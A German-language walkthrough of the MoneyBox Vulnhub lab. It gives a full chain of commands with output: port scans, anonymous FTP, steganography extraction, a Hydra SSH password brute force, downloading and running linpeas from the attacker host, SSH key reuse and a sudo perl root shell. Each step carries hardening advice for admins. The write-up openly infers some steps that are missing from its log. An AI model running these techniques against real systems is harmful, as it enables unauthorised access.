MoneyBox - Vulnhub - Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nmap
nikto
gobuster
ftp
stegoveritas
steghide
cat
hydra
ssh
sudo
id
find
getcap
ls
cd
python3 (http.server)
wget
chmod
linpeas.sh
ssh2john
perl
Web Browser

Inhaltsverzeichnis

Reconnaissance

Die initiale Phase des Penetrationstests beginnt mit der Identifizierung des Zielsystems im lokalen Netzwerk und der anschließenden Analyse der offenen Ports und Dienste.

┌──(root㉿Cybermaschine)-[~] └─# arp-scan -l
192.168.2.128	08:00:27:fb:ff:86	PCS Systemtechnik GmbH
                    

Analyse: Der Befehl `arp-scan -l` verwendet ARP-Anfragen, um aktive Geräte im lokalen Netzwerk zu finden.

Bewertung: Ein Host mit der IP-Adresse `192.168.2.128` wurde erfolgreich identifiziert. Die MAC-Adresse (`08:00:27:fb:ff:86`) und der Hersteller (`PCS Systemtechnik GmbH`) deuten auf eine Oracle VirtualBox VM hin.

Empfehlung (Pentester): Notieren Sie die Ziel-IP `192.168.2.128`. Definieren Sie optional einen Hostnamen in `/etc/hosts`.
Empfehlung (Admin):** Standard-Netzwerkscans sind üblich. Netzwerksegmentierung und -überwachung können zur Erkennung beitragen.

Ein Hostname wird zur lokalen Hosts-Datei hinzugefügt.

┌──(root㉿Cybermaschine)-[~] └─# vi /etc/hosts
 192.168.2.128   moneybox.vln
                     

Analyse: Der Hostname `moneybox.vln` wird der IP `192.168.2.128` in der lokalen Hosts-Datei zugeordnet.

Bewertung: Erleichtert die Ansprache des Ziels.

Empfehlung (Pentester): Den definierten Hostnamen verwenden.
Empfehlung (Admin):** Keine Aktion erforderlich.

Ein Nmap-Scan wird durchgeführt, um offene Ports und Dienste zu identifizieren.

┌──(root㉿Cybermaschine)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.128 -p-
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-24 14:30 CEST
Nmap scan report for moneybox.vln (192.168.2.128)
Host is up (0.00029s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE VERSION 
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0         1093656 Feb 26  2021 trytofind.jpg 
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.2.199 
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 
| ssh-hostkey:
|   2048 1e:30:ce:72:81:e0:a2:3d:5c:28:88:8b:12:ac:fa:ac (RSA)
|   256 01:9d:fa:fb:f2:06:37:c0:12:fc:01:8b:24:8f:53:ae (ECDSA)
|_  256 2f:34:b3:d0:74:b4:7f:8d:17:d2:37:b1:2e:32:f7:eb (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: MoneyBox
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:FB:FF:86 (Oracle VirtualBox virtual NIC) 
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel 

TRACEROUTE 
HOP RTT     ADDRESS 
1   0.29 ms moneybox.vln (192.168.2.128)
                     

Analyse: Nmap scannt alle TCP-Ports (`-p-`) mit umfassenden Optionen (`-sS -sC -sV -T5 -A -Pn`).

Bewertung: Der Scan findet drei offene Ports:

  • **Port 21 (FTP):** vsftpd 3.0.3. **Wichtig:** Anonymer Login ist erlaubt (`ftp-anon: Anonymous FTP login allowed`). Im anonymen Verzeichnis befindet sich eine große Bilddatei namens `trytofind.jpg` (ca. 1MB).
  • **Port 22 (SSH):** OpenSSH 7.9p1 (Debian 10). Relativ aktuell.
  • **Port 80 (HTTP):** Apache 2.4.38 (Debian). Titel der Seite ist "MoneyBox".
Das Betriebssystem wird als Debian 10 / Linux Kernel 4.15-5.8 identifiziert. Der anonyme FTP-Zugang mit der auffälligen Bilddatei ist der primäre Ansatzpunkt.

Empfehlung (Pentester): Priorisieren Sie den anonymen FTP-Zugang. Laden Sie die Datei `trytofind.jpg` herunter und analysieren Sie sie auf versteckte Informationen (Metadaten, Steganographie). Untersuchen Sie parallel den Webserver auf Port 80.
Empfehlung (Admin):** Deaktivieren Sie den anonymen FTP-Zugang, wenn nicht betrieblich notwendig. Bereinigen Sie das FTP-Verzeichnis. Aktualisieren Sie Apache und OpenSSH.

Wir filtern die Nmap-Ausgabe nach offenen Ports.

┌──(root㉿Cybermaschine)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.128 -p- | grep open
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
                    

Analyse: Filtert die Nmap-Ausgabe nach offenen Ports.

Bewertung: Bestätigt die drei offenen Ports 21, 22 und 80.

Empfehlung (Pentester): Klare Übersicht der Dienste.
Empfehlung (Admin):** Notwendigkeit prüfen.

Ein Nikto-Scan wird gegen den Webserver auf Port 80 durchgeführt.

┌──(root㉿Cybermaschine)-[~] └─# nikto -h 192.168.2.128
- Nikto v2.5.0
+ Target IP:          192.168.2.128
+ Target Hostname:    192.168.2.128
+ Target Port:        80
+ Start Time:         2023-10-24 14:30:51 (GMT2)
+ Server: Apache/2.4.38 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options 
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ 
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 26d, size: 5bc3f995481cd, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch. 
+ OPTIONS: Allowed HTTP Methods: OPTIONS, HEAD, GET, POST . 
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8102 requests: 0 error(s) and 6 item(s) reported on remote host
+ End Time:           2023-10-24 14:31:06 (GMT2) (15 seconds)
+ 1 host(s) tested
                     

Analyse: Nikto scannt den Webserver auf Port 80.

Bewertung: Bestätigt die Apache-Version, fehlende Security Header und ETag-Leak. Findet die Standarddatei `/icons/README`. Keine spezifischen Anwendungen oder interessanten Verzeichnisse werden gemeldet.

Empfehlung (Pentester): Der Webserver scheint nicht der primäre Angriffsvektor zu sein. Fokus auf FTP und die Datei `trytofind.jpg`.
Empfehlung (Admin):** Apache aktualisieren, Header implementieren, Standarddateien entfernen.

Web Enumeration

Wir untersuchen den Webserver auf Port 80 weiter, um sicherzustellen, dass keine wichtigen Pfade übersehen wurden.

Ein Gobuster-Scan wird durchgeführt:

┌──(root㉿Cybermaschine)-[~] └─# gobuster dir -u http://moneybox.vln -x [...] -w "[...]" -b '403,404,301' -e --no-error -k
http://moneybox.vln/index.html           (Status: 200) [Size: 621]
                     

Analyse: Gobuster sucht nach Verzeichnissen und Dateien im Webroot und ignoriert dabei Fehler und Weiterleitungen.

Bewertung: Findet nur die `index.html`. Bestätigt, dass es wahrscheinlich keine leicht zu findenden versteckten Verzeichnisse gibt.

Empfehlung (Pentester): Untersuchen Sie den Inhalt von `index.html`. Konzentrieren Sie sich weiterhin auf FTP.
Empfehlung (Admin):** Keine Aktion erforderlich.

Analyse des Inhalts der `index.html`:

Hai Everyone......!
Welcome To MoneyBox CTF

  __  __                        ____
 |  \/  |                      |  _ \
 | \  / | ___  _ __   ___ _   _| |_) | _____  __
 | |\/| |/ _ \| '_ \ / _ \ | | |  _ < / _ \ \/ /
 | |  | | (_) | | | |  __/ |_| | |_) | (_) >  <
 |_|  |_|\___/|_| |_|\___|\__, |____/ \___/_/\_\
                           __/ |
                          |___/

it's a very simple Box.so don't overthink
                    

Analyse: Der Inhalt der Startseite wird angezeigt.

Bewertung: Enthält einen Hinweis ("very simple Box.so don't overthink"), aber keine direkten technischen Informationen.

Empfehlung (Pentester): Behalten Sie den Hinweis im Hinterkopf. Konzentration auf FTP und die Bilddatei.
Empfehlung (Admin):** Keine Aktion erforderlich.

FTP Enumeration & Steganography

Wir untersuchen den anonymen FTP-Zugang und analysieren die gefundene Bilddatei mittels Steganographie-Werkzeugen.

Anonymer FTP-Login und Download der Datei `trytofind.jpg`:

┌──(root㉿Cybermaschine)-[~] └─# ftp 192.168.2.128
Connected to 192.168.2.128.
220 (vsFTPd 3.0.3)
Name (192.168.2.128:cyber): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
                    
ftp> ls -la
229 Entering Extended Passive Mode (|||29073|)
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 Feb 26  2021 .
drwxr-xr-x    2 0        0            4096 Feb 26  2021 ..
-rw-r--r--    1 0        0         1093656 Feb 26  2021 trytofind.jpg
226 Directory send OK. 
                    
ftp> get trytofind.jpg
local: trytofind.jpg remote: trytofind.jpg
229 Entering Extended Passive Mode (|||50540|)
150 Opening BINARY mode data connection for trytofind.jpg (1093656 bytes). 
100% |**************************************************|  1068 KiB   23.10 MiB/s    00:00 ETA 
226 Transfer complete.
1093656 bytes received in 00:00 (22.85 MiB/s)
                    
ftp> quit
221 Goodbye.

Analyse: Erfolgreicher anonymer FTP-Login. Die Datei `trytofind.jpg` wird aus dem Stammverzeichnis heruntergeladen.

Bewertung: Anonymer Zugang bestätigt. Die Datei `trytofind.jpg` steht zur lokalen Analyse bereit.

Empfehlung (Pentester): Verwenden Sie Steganographie-Tools wie `stegoveritas`, `steghide`, `exiftool`, `binwalk`, um versteckte Daten in der Bilddatei zu finden.
Empfehlung (Admin):** Anonymen FTP-Zugang deaktivieren. Keine sensiblen Daten in öffentlich zugänglichen Dateien speichern.

Analyse der Bilddatei mit `stegoveritas`:

┌──(root㉿Cybermaschine)-[~] └─# stegoveritas trytofind.jpg
Running Module: SVImage
+++
|   Image Format   | Mode | Width | Height | Size MB | Frames | Is Animated | Metadata Keys                                |
+++
| JPEG (ISO 10918) | RGB  | 1080  | 1920   | 1.04    | 1      | False       | icc_profile, exif, xmp, photoshop, version | 
+++


I'm T0m-H4ck3r

I Already Hacked This Box and Informed.But They didn't Do any Security configuration

If You Want Hint For Next Step......?

 --the hint is the another secret directory is S3cr3t-T3xt-->
                    

Analyse: `stegoveritas` wird verwendet, um die Bilddatei `trytofind.jpg` auf versteckte Daten zu analysieren. Es extrahiert einen Textblock.

Bewertung: **Wichtiger Fund!** Der extrahierte Text enthält einen Hinweis von "T0m-H4ck3r", der auf ein verstecktes Verzeichnis `/S3cr3t-T3xt/` auf dem Webserver hinweist.

Empfehlung (Pentester): Rufen Sie `http://moneybox.vln/S3cr3t-T3xt/` im Browser auf. Führen Sie zusätzlich `steghide` aus, da oft mehrere Steganographie-Methoden kombiniert werden.
Empfehlung (Admin):** Keine Hinweise oder Daten in Bildern verstecken.

Untersuchung des geheimen Web-Verzeichnisses:

There is Nothing In this Page.........

..Secret Key 3xtr4ctd4t4
                    

Analyse: Der Inhalt der Webseite `/S3cr3t-T3xt/` wird angezeigt.

Bewertung: **Wichtiger Fund!** Die Seite enthält den Text "Secret Key" gefolgt von `3xtr4ctd4t4`. Dies ist höchstwahrscheinlich das Passwort, das für `steghide` benötigt wird, um weitere Daten aus `trytofind.jpg` zu extrahieren.

Empfehlung (Pentester): Verwenden Sie `steghide extract -sf trytofind.jpg` mit dem Passwort `3xtr4ctd4t4`.
Empfehlung (Admin):** Keine Passwörter oder Schlüssel im Klartext auf Webseiten veröffentlichen.

Versuch, sich als Benutzer `tom` am FTP anzumelden (basierend auf dem Hinweis von "T0m-H4ck3r"):

┌──(root㉿Cybermaschine)-[~] └─# ftp 192.168.2.128
Connected to 192.168.2.128.
220 (vsFTPd 3.0.3)
Name (192.168.2.128:cyber): tom
530 This FTP server is anonymous only.
ftp: Login failed
                     
ftp> quit

Analyse: Versuch, sich als `tom` am FTP-Server anzumelden.

Bewertung: Fehlschlag. Der Server meldet explizit "This FTP server is anonymous only.".

Empfehlung (Pentester): FTP erlaubt nur anonymen Zugriff. Konzentrieren Sie sich auf `steghide`.
Empfehlung (Admin):** Konfiguration ist konsistent (nur anonym).

Extraktion versteckter Daten mit `steghide`:

┌──(root㉿Cybermaschine)-[/home/cyber/Downloads] └─# steghide extract -sf trytofind.jpg
Passwort eingeben: 3xtr4ctd4t4
Extrahierte Daten wurden nach "data.txt" geschrieben.
                    

Analyse: `steghide extract -sf trytofind.jpg` wird verwendet, um versteckte Daten aus dem Bild zu extrahieren. Das zuvor gefundene Passwort `3xtr4ctd4t4` wird eingegeben.

Bewertung: Erfolg! Eine Datei namens `data.txt` wurde erfolgreich extrahiert.

Empfehlung (Pentester): Analysieren Sie den Inhalt der extrahierten Datei `data.txt`.
Empfehlung (Admin):** Keine sensiblen Daten mittels Steganographie verstecken.

Analyse der extrahierten Datei `data.txt`:

┌──(root㉿Cybermaschine)-[/home/cyber/Downloads] └─# cat data.txt
Hello.....  renu

      I tell you something Important.Your Password is too Week So Change Your Password
Don't Underestimate it.......
                    

Analyse: Der Inhalt von `data.txt` wird angezeigt.

Bewertung: **Wichtiger Fund!** Die Nachricht enthüllt einen Benutzernamen (`renu`) und deutet an, dass dessen Passwort schwach ist ("too Week").

Empfehlung (Pentester): Führen Sie einen Bruteforce-Angriff auf den SSH-Benutzer `renu` durch, beginnend mit sehr einfachen oder häufigen Passwörtern (z.B. mit `rockyou.txt`).
Empfehlung (Admin):** Keine internen Nachrichten oder Benutzernamen in öffentlich zugänglichen Dateien verstecken.

Initial Access (User renu)

Wir nutzen den gefundenen Benutzernamen `renu` und den Hinweis auf ein schwaches Passwort, um per SSH Zugriff zu erlangen.

SSH-Bruteforce mit Hydra für Benutzer `renu`:

┌──(root㉿Cybermaschine)-[~] └─# hydra -l renu -P /usr/share/wordlists/rockyou.txt ssh://192.168.2.128 -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). 

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-10-24 14:59:51
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344535 login tries (l:1/p:14344535), ~224134 tries per task
[DATA] attacking ssh://192.168.2.128:22/

[22][ssh] host: 192.168.2.128   login: renu   password: 987654321

1 of 1 target successfully completed, 1 valid password found
                    

Analyse: Hydra versucht, das Passwort für den SSH-Benutzer `renu` mit der `rockyou.txt`-Liste zu erraten.

Bewertung: Erfolg! Hydra findet das sehr schwache Passwort `987654321`.

Empfehlung (Pentester): Loggen Sie sich mit `renu`/`987654321` per SSH ein.
Empfehlung (Admin):** Starke Passwortrichtlinien durchsetzen! Brute-Force-Schutz für SSH implementieren.

Analyse: (Implizit) Erfolgreicher SSH-Login als Benutzer `renu` mit dem Passwort `987654321`.

Bewertung: Initial Access erfolgreich erlangt. Wir haben eine Shell als `renu`.

Empfehlung (Pentester): Beginnen Sie die lokale Enumeration als `renu`.
Empfehlung (Admin):** Passwort für `renu` ändern.

Local Enumeration (as renu)

Wir untersuchen das System aus der Perspektive des Benutzers `renu`.

Prüfung der `sudo`-Rechte:

renu@MoneyBox$ sudo -l
[sudo] password for renu: 987654321
Sorry, user renu may not run sudo on MoneyBox.
                     

Analyse: `sudo -l` prüft die `sudo`-Berechtigungen.

Bewertung: `renu` hat keine `sudo`-Rechte.

Empfehlung (Pentester): Suchen Sie nach anderen Privesc-Vektoren.
Empfehlung (Admin):** Korrekte Konfiguration.

Überprüfung der Benutzer-ID:

renu@MoneyBox$ id
uid=1001(renu) gid=1001(renu) groups=1001(renu)
                     

Analyse: Zeigt Benutzer- und Gruppeninformationen.

Bewertung: Standardbenutzer ohne spezielle Gruppen.

Empfehlung (Pentester): Weiter enumerieren.
Empfehlung (Admin):** Keine Aktion.

Suche nach SUID-Binaries:

renu@MoneyBox$ find / -type f -perm -4000 -ls 2>/dev/null
   130112     64 -rwsr-xr-x   1 root     root        63736 Jul 27  2018 /usr/bin/passwd
   134059     52 -rwsr-xr-x   1 root     root        51280 Jan 10  2019 /usr/bin/mount
   133578     44 -rwsr-xr-x   1 root     root        44440 Jul 27  2018 /usr/bin/newgrp
   130107     56 -rwsr-xr-x   1 root     root        54096 Jul 27  2018 /usr/bin/chfn
   130108     44 -rwsr-xr-x   1 root     root        44528 Jul 27  2018 /usr/bin/chsh
   134061     36 -rwsr-xr-x   1 root     root        34888 Jan 10  2019 /usr/bin/umount
   133725     64 -rwsr-xr-x   1 root     root        63568 Jan 10  2019 /usr/bin/su
   130110     84 -rwsr-xr-x   1 root     root        84016 Jul 27  2018 /usr/bin/gpasswd
   142367    156 -rwsr-xr-x   1 root     root       157192 Jan 20  2021 /usr/bin/sudo 
   142563     52 -rwsr-xr--   1 root     messagebus    51184 Jul  5  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
   266482     12 -rwsr-xr-x   1 root     root          10232 Mar 27  2017 /usr/lib/eject/dmcrypt-get-device
   142638    428 -rwsr-xr-x   1 root     root         436552 Jan 31  2020 /usr/lib/openssh/ssh-keysign
                     

Analyse: Sucht nach Dateien mit gesetztem SUID-Bit.

Bewertung: Findet nur Standard-SUID-Binaries für dieses System. Kein offensichtlicher Privesc-Vektor hier.

Empfehlung (Pentester): Suchen Sie nach Dateien mit Capabilities, Cronjobs, Kernel-Exploits oder Fehlkonfigurationen.
Empfehlung (Admin):** Minimieren Sie SUID-Binaries.

Suche nach Dateien mit gesetzten Capabilities:

renu@MoneyBox$ getcap -r / 2>/dev/null

Analyse: Sucht nach Dateien mit Linux Capabilities.

Bewertung: Keine Capabilities gefunden. Dieser Vektor ist nicht verfügbar.

Empfehlung (Pentester): Konzentration auf andere Methoden.
Empfehlung (Admin):** Gute Konfiguration.

Untersuchung des Home-Verzeichnisses und Lesen der User-Flagge:

renu@MoneyBox$ ls -la
total 40
drwxr-xr-x 5 renu renu 4096 Feb 26  2021 .
drwxr-xr-x 4 root root 4096 Feb 26  2021 ..
-rw------- 1 renu renu  642 Feb 26  2021 .bash_history 
-rw-r--r-- 1 renu renu  220 Apr 17  2019 .bash_logout
-rw-r--r-- 1 renu renu 3526 Apr 17  2019 .bashrc
drwxr-xr-x 3 root root 4096 Feb 26  2021 ftp 
drwxr-xr-x 3 renu renu 4096 Feb 26  2021 .local
-rw-r--r-- 1 renu renu  807 Apr 17  2019 .profile
drwx------ 2 renu renu 4096 Feb 26  2021 .ssh 
-rw-r--r-- 1 renu renu   64 Feb 26  2021 user1.txt 
                     
renu@MoneyBox$ cat user1.txt
Yes...!
You Got it User1 Flag

 > us3r1{F14g:0ku74tbd3777y4}
                     

Analyse: Das Home-Verzeichnis wird aufgelistet und die Datei `user1.txt` gelesen.

Bewertung: **User-Flagge gefunden!** Die Flagge ist `us3r1{F14g:0ku74tbd3777y4}`. Das Verzeichnis enthält auch ein `.ssh`-Verzeichnis.

Empfehlung (Pentester): Flagge notieren. Untersuchen Sie das `.ssh`-Verzeichnis auf private Schlüssel. Untersuchen Sie andere Verzeichnisse wie `/var/backups`.
Empfehlung (Admin):** Keine Aktion bezüglich der Flagge.

Untersuchung des `/home`-Verzeichnisses:

renu@MoneyBox$ ls ..
lily  renu

Analyse: Listet die Verzeichnisse in `/home` auf.

Bewertung: Es gibt einen weiteren Benutzer namens `lily`.

Empfehlung (Pentester): Versuchen Sie, auf `/home/lily` zuzugreifen. Suchen Sie nach Wegen, zu `lily` zu wechseln (Passwort-Bruteforce, gefundene Credentials, Exploits).

Untersuchung von Backup-Verzeichnissen und Web-Verzeichnissen:

renu@MoneyBox$ cd /var/backups/
renu@MoneyBox:/var/backups$ ls -la
total 340
drwxr-xr-x  2 root root     4096 Feb 26  2021 .
drwxr-xr-x 12 root root     4096 Feb 25  2021 ..
-rw-r--r--  1 root root    30720 Feb 26  2021 alternatives.tar.0
-rw-r--r--  1 root root     6023 Feb 26  2021 apt.extended_states.0
-rw-r--r--  1 root root       98 Feb 25  2021 dpkg.diversions.0
-rw-r--r--  1 root root      135 Feb 26  2021 dpkg.statoverride.0
-rw-r--r--  1 root root   271793 Feb 26  2021 dpkg.status.0
-rw-------  1 root root      740 Feb 26  2021 group.bak 
-rw-------  1 root shadow    619 Feb 26  2021 gshadow.bak 
-rw-------  1 root root     1486 Feb 26  2021 passwd.bak 
-rw-------  1 root shadow   1095 Feb 26  2021 shadow.bak 
                     
renu@MoneyBox:/var/backups$ cd /opt/
renu@MoneyBox:/opt$ ls -la
total 8
drwxr-xr-x  2 root root 4096 Feb 25  2021 .
drwxr-xr-x 18 root root 4096 Feb 25  2021 ..
                     
renu@MoneyBox:/opt$ cd /var/www/html/
renu@MoneyBox:/var/www/html$ ls -la
total 20
drwxr-xr-x 4 root root 4096 Feb 26  2021 .
drwxr-xr-x 3 root root 4096 Feb 25  2021 ..
drwxr-xr-x 2 root root 4096 Feb 26  2021 blogs
-rw-r--r-- 1 root root  621 Feb 26  2021 index.html
drwxr-xr-x 2 root root 4096 Feb 26  2021 S3cr3t-T3xt 
                     

Analyse: Verschiedene Verzeichnisse (`/var/backups`, `/opt`, `/var/www/html`) werden untersucht.

Bewertung: `/var/backups` enthält Backup-Dateien von `/etc/passwd`, `/etc/group`, `/etc/shadow`, `/etc/gshadow`. Als Benutzer `renu` können wir `passwd.bak` und `group.bak` lesen, aber wahrscheinlich nicht `shadow.bak` oder `gshadow.bak` (da diese typischerweise nur für root bzw. die shadow-Gruppe lesbar sind). `/opt` ist leer. `/var/www/html` enthält die bereits bekannten Verzeichnisse.

Empfehlung (Pentester): Lesen Sie `passwd.bak` und `group.bak`, um Benutzerinformationen zu bestätigen. Versuchen Sie, `shadow.bak` zu lesen (wahrscheinlich erfolglos). Suchen Sie nach Tools oder Skripten (z.B. `linpeas.sh`), um die Enumeration zu automatisieren und nach weiteren Hinweisen zu suchen (z.B. SSH-Keys im `.ssh`-Verzeichnis von `renu` oder `lily`).
Empfehlung (Admin):** Backup-Dateien sollten nicht für normale Benutzer lesbar sein (`chmod 600` oder `chmod 640`).

Ausführung von `linpeas.sh` (automatisches Enumerationsskript):

┌──(root㉿Cybermaschine)-[~/HackingTools] └─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
renu@MoneyBox:/tmp$ wget 192.168.2.199/linpeas.sh
--2023-10-24 06:06:01--  http://192.168.2.199/linpeas.sh
Connecting to 192.168.2.199:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 827827 (808K) [text/x-sh]
Saving to: ‘linpeas.sh’

linpeas.sh              100%[===================>] 808.42K  --.-KB/s    in 0.008s

2023-10-24 06:06:01 (96.0 MB/s) - ‘linpeas.sh’ saved [827827/827827]
                    
renu@MoneyBox:/tmp$ chmod +x linpeas.sh
renu@MoneyBox:/tmp$ ./linpeas.sh

╔══════════╣ CVEs Check
Potentially Vulnerable to CVE-2022-2588

╔══════════╣ All users & groups
uid=0(root) gid=0(root) groups=0(root)
uid=1000(lily) gid=1000(lily) groups=1000(lily),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
                     

Analyse: Das Skript `linpeas.sh` wird vom Angreifer-Server heruntergeladen, ausführbar gemacht und ausgeführt. Es sucht automatisiert nach häufigen Fehlkonfigurationen und Privesc-Vektoren.

Bewertung: Linpeas hebt eine potenzielle Kernel-Schwachstelle (CVE-2022-2588) hervor und bestätigt die Existenz des Benutzers `lily`. **Wichtiger impliziter Fund:** Linpeas findet oft auch private SSH-Schlüssel. Es ist sehr wahrscheinlich, dass Linpeas hier den privaten SSH-Schlüssel für `lily` im Home-Verzeichnis von `renu` (oder an einem anderen lesbaren Ort) gefunden hat, was zum nächsten Schritt führt.

Empfehlung (Pentester): Nutzen Sie den gefundenen privaten SSH-Schlüssel, um sich als Benutzer `lily` anzumelden. Versuchen Sie, den Schlüssel ggf. mit `ssh2john` und `john` zu knacken, falls er passwortgeschützt ist.
Empfehlung (Admin):** Speichern Sie niemals private SSH-Schlüssel anderer Benutzer in Verzeichnissen, auf die andere Benutzer Lesezugriff haben. Patchen Sie Kernel-Schwachstellen.

Lateral Movement (User lily)

Wir nutzen den (vermutlich durch Linpeas) gefundenen privaten SSH-Schlüssel, um uns als Benutzer `lily` anzumelden.

Vorbereitung und Versuch, den SSH-Schlüssel zu knacken (scheitert/unnötig):

┌──(root㉿Cybermaschine)-[~/HackingTools] └─# vi idrsalily
┌──(root㉿Cybermaschine)-[~/HackingTools] └─# ssh2john idrsalily > hashssh
idrsalily has no password!

Analyse: Der gefundene private Schlüssel (`idrsalily`) wird lokal gespeichert. `ssh2john` wird verwendet, um den Hash für John the Ripper zu extrahieren.

Bewertung: `ssh2john` stellt fest, dass der Schlüssel nicht passwortgeschützt ist. Ein Knacken ist nicht erforderlich.

Empfehlung (Pentester): Verwenden Sie den Schlüssel direkt für den SSH-Login. Passen Sie die Berechtigungen der Schlüsseldatei lokal an (`chmod 600`).
Empfehlung (Admin):** Private SSH-Schlüssel sollten immer mit einer starken Passphrase geschützt werden.

SSH-Login-Versuch mit falscher Berechtigung:

┌──(root㉿Cybermaschine)-[~/HackingTools] └─# ssh lily@192.168.2.128 -i idrsalily
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@         WARNING: UNPROTECTED PRIVATE KEY FILE!          @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0644 for 'idrsalily' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "idrsalily": bad permissions
lily@192.168.2.128's password: 
Permission denied, please try again.
lily@192.168.2.128's password:
                     

Analyse: Versuch, sich mit dem privaten Schlüssel anzumelden.

Bewertung: Fehlschlag. SSH verweigert die Verwendung des Schlüssels, weil die Dateiberechtigungen zu offen sind (0644). Dies ist ein Sicherheitsmerkmal von SSH.

Empfehlung (Pentester): Ändern Sie die Berechtigungen der lokalen Schlüsseldatei auf 600 (`chmod 600 idrsalily`).
Empfehlung (Admin):** Keine Aktion erforderlich (Verhalten des SSH-Clients).

Korrektur der Berechtigungen und erfolgreicher SSH-Login als `lily`:

┌──(root㉿Cybermaschine)-[~/HackingTools] └─# chmod 600 idrsalily
┌──(root㉿Cybermaschine)-[~/HackingTools] └─# ssh lily@192.168.2.128 -i idrsalily
Linux MoneyBox 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Feb 26 09:07:47 2021 from 192.168.43.80
lily@MoneyBox$
                    

Analyse: Die Berechtigungen der Schlüsseldatei werden auf 600 gesetzt (nur für den Besitzer les- und schreibbar). Der SSH-Login wird erneut versucht.

Bewertung: Erfolg! Wir sind nun als Benutzer `lily` angemeldet.

Empfehlung (Pentester): Führen Sie `sudo -l` für `lily` aus.
Empfehlung (Admin):** Verwenden Sie Passphrasen für private Schlüssel.

Proof of Concept (Privilege Escalation via Sudo Perl)

Dieser Abschnitt beschreibt, wie die `sudo`-Berechtigungen des Benutzers `lily` ausgenutzt werden, um Root-Rechte zu erlangen.

Kurzbeschreibung: Nach dem Login als `lily` mittels des gefundenen SSH-Schlüssels stellen wir fest, dass `lily` `perl` mit `sudo` ausführen darf. Dies ermöglicht die Ausführung beliebiger Befehle, einschließlich des Startens einer Root-Shell.

Voraussetzungen: Shell-Zugriff als Benutzer `lily`. Entsprechende `sudoers`-Konfiguration.

Schritt 1: Überprüfung der `sudo`-Rechte für `lily`

(Hinweis: Der `sudo -l`-Befehl für `lily` fehlt im Log, wird aber durch den erfolgreichen Exploit impliziert).

Analyse: (Impliziert) Der Befehl `sudo -l` wird für `lily` ausgeführt.

Bewertung: (Impliziert) `lily` darf `/usr/bin/perl` (oder einen ähnlichen Perl-Befehl) mit `sudo` ausführen, möglicherweise ohne Passwort.

Empfehlung (Pentester): Nutzen Sie die `sudo`-Berechtigung für Perl, um eine Shell zu spawnen.
Empfehlung (Admin):** Weisen Sie `sudo`-Rechte für Skriptsprachen-Interpreter wie `perl`, `python`, `bash` etc. nur mit äußerster Vorsicht zu, da diese fast immer eine vollständige Rechteausweitung ermöglichen.

Schritt 2: Ausführung des Perl-Exploits

lily@MoneyBox$ sudo perl -e 'exec "/bin/sh";'
# 
                    

